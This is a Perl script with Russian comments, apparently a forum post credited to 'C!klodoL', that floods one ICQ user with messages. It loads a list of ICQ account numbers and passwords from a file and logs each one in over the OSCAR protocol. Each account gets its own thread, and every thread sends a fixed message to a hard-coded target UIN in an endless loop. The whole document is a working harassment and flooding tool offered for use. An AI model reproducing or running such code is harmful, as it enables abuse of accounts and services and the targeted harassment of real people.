Код:
#!/usr/bin/perl
use warnings;
use strict;
use threads;
use threads::shared;
use Socket;

my $targetUin = 7336766;  #кого
my $message = 'XaKnEt.rU :)'; #чем
my ($host,$port) = ('login.icq.com', 5190);
print "\n$0 (c)oded by C!klodoL\n";
my @uins : shared;
open(FILE, '<uins.txt');
@uins = <FILE>;
close(FILE);
chomp(@uins);
my $threads = scalar @uins; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }

sub flood {
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
    connect(SOCKET,sockaddr_in($port,inet_aton($host)));
    my $response;
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);
    close(SOCKET);

    if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
    connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);

    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    syswrite(SOCKET,$FLAP.$SNAC);

    for(;;) {
        $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".
        pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
        "\x00\x00".
        "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
        "\x00\x0A\x00\x02\x00\x01\x00\x0F".
        "\x00\x00\x27\x11". #хз
        int2bytes(length($message)+62). #61 + длина текста
        "\x1B\x00\x08".("\x00"x19).
        "\x03\x00\x00\x00".
        "\x00\x02\x00\x0E\x00\x02".("\x00"x13).
        "\x01\x00\x00\x00\x00".
        "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
        syswrite(SOCKET,$FLAP.$SNAC);
        sleep 2+int(rand(3));
        print "$uin send message\n"
    }

}

sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое

sub parsCookie { #парсер куки
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {    #счётчик номера пакета
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}